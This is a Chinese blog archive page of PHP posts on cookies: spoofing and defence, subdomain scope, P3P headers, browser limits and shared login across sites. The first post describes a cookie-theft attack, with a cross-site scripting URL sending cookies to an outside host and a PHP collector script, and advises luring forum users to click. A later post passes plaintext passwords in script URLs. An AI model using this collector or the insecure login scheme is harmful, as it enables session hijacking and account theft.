标签归档:cookie

Cookie欺骗及反欺骗 论cookie安全

Cookie文件不能作为代码执行,也不会传送病毒,它为用户所专有并只能由创建它的服务器来读取。 浏览器一般只允许存放300个Cookie, 每个站点最多存放20个Cookie, 每个Cookie的大小限制为4KB, Cookie代表了你的身份,那么安全性就有得考虑了。 1.Cookie欺骗: Cookie记录了用户的帐户ID、密码之类的信息,通常使用MD5方法加密后在网上传递。经过加密处理后的信息即使被网络上一些别有用心的人截获也看不懂。然而,现在存在的问题是,截获Cookie的人不需要知道这些字符串的含义,只要把别人的Cookie向服务器提交,并且能够通过验证,就可以冒充受害人的身份登陆网站,这种行为叫做Cookie欺骗。 别人穿了你的衣服,冒充你去做了新郎 2.Cookie截获 Cookie以纯文本的形式在浏览器和服务器之间传送,很容易被他人非法截获和利用。任何可以截获Web通信的人都可以读取Cookie。  这个就是一些新手,还有一些网站,傻乎乎的把用户的账户和密码,明文在互联网上传送。核心信息都是加密传送的。记住一点,你发出的任何经过浏览器的信息,提交的表单,不仅仅服务器知道,还有网络传送过程的经历的那些路由器 Cookie截获 http://www.XXX.net/tXl/login/login.pl?username=&passwd=&ok.X=28&ok.y=6;
将其中”“更换为:
”“再试,如果执行成功,就开始构造URL:
http://www.XXX.net/tXl/login/login.pl?username=&passwd=&ok.X=28&ok.y=6.
其中http://www.cbifamily.org/cbi.php是用户能够控制的某台主机上的一个脚本。需要注意的是”%2b”为符号”+”的URL编码,因为”+”将被作为空格处理。该URL即可在论坛中发布,诱使别人点击。
 步骤二:编制收集Cookie的PHP脚本,并将其放到用户可以控制的网站上,当不知情者点击了构造的URL后可以执行该PHP代码。该脚本的具体内容如下: <?php  $info=getenv("OUERY_STRING");  if($info){   $fp=fopen("info.tXt","a");   fwrite($fp,!info."\n");  fclose($fp); }  header("Location:http://www.XXX.net"); ?> 将这段代码放到网络里,则能够收集所有人的Cookie。如果一个论坛允许HTML代码或者允许使用Flash标签,就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可收集到大量的Cookie。在论坛上,有许多人的密码就是被这种方法盗走的。  明白为啥那么多安全团队都会明确指出你的search.php的参数,可以注入javascript脚本是多么的危险啊 废话那么多。只是我好奇 如何防止cookie被伪装,盗取 答案1:不用cookie,用session (session的硬伤是无法做到保持用户一年免输入密码登录) 答案2:用cookie,但是我加密 比如常规情况下我保存一个cookie username setcookie("username",$username); 现在我保存2个 username, token setcookie("username",$username); setcookie("token",$token); $token 是怎么来的 … 继续阅读

发表在 JAVA, PHP, WEB前端 | 标签为 , , | 留下评论

设置一个二级域名可访问的cookie

有时候两个域名可能在不同的服务器上,但是我们依然希望二级域名能够顺利访问主域名的cookie,主域名可以顺利访问二级域名的cookie。比如bbs.abc.com 希望能访问www.abc.com和blog.abc.com的cookie 下面介绍3种你可能常听到的全局cookie设置方式 setcookie("abc",$s,time()+3600*12,’/',’*.abc.com’); *号无法成功设置一个cookie setcookie("abc",$s,time()+3600*12,’/',’.abc.com’); 成功设置一个全局cookie ss.abc.com下也能正确读取 setcookie("abc",$s,time()+3600*12,’/',’abc.com’); 成功设置一个全局cookie ss.abc.com下也能正确读取 这种方式月小升的理解是仅仅abc.com能够读取。月小升在FireFox下测试成功。IE下成功 setcookie("abc",$s,time()+3600*12,’/',’ss.abc.com’); 设置一个仅仅在ss.abc.com域名下可以正确读取的cookie 网络上标准的说法为.abc.com这样。 也有*的说法(该说法完全错误。。。)

发表在 PHP | 标签为 , , | 2 条评论

跨站cookie读取-第三方cookie问题p3p解决

IE6中设置隐私级别的时候,默认为中。拒绝第三方cookie。这样的话,标准的iframe 中的cookie,就无法获取了。 另外采用图片标签潜入的源码,cookie也无法得到。 比如当前页面为java-er.com/a.html <img src="php-er.com/3.php"> 3.php中的cookie也无法得到。IE会显示block掉这个域名。php-er.com 相对当前页面为第三方cookie <script src="php-er.com/3.php"> 效果相同,也会被拒绝。 iframe就是大家经常遇到的问题了。 解决第三方cookie问题,使用p3p即可搞定。 在php 读写cookie的文件第一行写 header(“P3P: CP=CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR”); 一切都搞定了。 使用firebug会看到头信息多了一行P3P Cache-Control no-store, no-cache, … 继续阅读

发表在 PHP, WEB前端 | 标签为 , | 一条评论

COOKIE是什么-为什么丢失-限制

COOKIE是什么 不用技术术语解释,COOKIE就是在你访问网页的时候,在你的计算机上写一个小文件。文件里记录你的身份。比如你的登陆账号。 COOKIE在各种浏览器中如何设置 IE浏览器 Microsoft Internet Explorer IE7.0版本cookie设置帮助: 1.打开开始菜单中的控制面板 2.双击 Internet选项 图标(或直接在IE7中点击工具菜单下的 Internet选项 ). 3.选择 隐私 标签. 4.点击 高级 按钮. 5.选择 替代自动 cookie处理 复选框. 6.第一方 Cookie, 选 接受. 7.第三方 Cookie, 选 接受. 8.点选 总是允许会话cookie. 9.点击 OK. 10.点击 OK 退出. IE从5到9基本都这个流程详情请参阅 … 继续阅读

发表在 JAVA, PHP | 标签为 | 留下评论

多网站cookie统一认证策略

不少门户网站,做大以后都不止一个站点,但是还希望几个站点之间的账号能够通用,最近特意就这个问题做一下研究。如何能多站点通用cookie。 原则上讲,浏览器绑定一个cookie在一个域名下,无法穿破。不过我们可以为各种站点同步绑定cookie。 1.同步绑定 登陆的时候,同时种下cookie,注销的时候,同时销毁cookie。当然换成session也一样。 同步绑定多见于DZ论坛的开发,DZ论坛本身提供了一套同步原理。最简单的策略就是aaa.com 下验证用户名和账户的时候,同时调用bbb.com,ccc.com 的验证算法。 aaa.com 下用户名username=abc password=123456. POST过去验证成功以后,在成功页面嵌入一个JS。<script src=”http://bbb.com/loginsys.php?username=abc&password=123456″><script src=”http://ccc.com/loginsys.php?username=abc&password=123456″> 然后分别验证即可。自然同步种下了cookie。销毁时候道理相同。 这种明码传送密码和账户的办法,当然很危险。可以做简单的加密。比如64对称加密将用户名和密码分别加密一下,过去以后,再解密即可。 2.始终采用一个站点的cookie。 这种办法的好处就是不用做同步绑定。用户表直接在aaa.com上即可。直接在bbb.com上,调用一个ajax来验证是否登陆。aaa.com上提供一个文件给其他要同步的站点调用。比如aaa.com/islogin.php 其他站点直接用httpclient下载这个文件或者用ajax下载这个文件。如果登陆返回一串xml,包含了用户名,等等信息,如果没有登陆返回空即可。 如果bbb.com上也有登陆,注册口,全部采用接口方式调用aaa.com对应的文件。 最近搞的一个FLASH项目,就是全部采用了接口方式。还是蛮省事的。 不过这种选择哪种方式,主要还是看网站之间对cookie的依赖程度,如果都很依赖建议采用第一种,毕竟调用自己的cookie比较方便。 如果一个主站依赖大,其他的依赖不是特别大,采用接口就方便一些了。目前的微博接口主要采用的第二种,大家都通过接口来判断登陆。

发表在 PHP, 程序视点 | 标签为 | 留下评论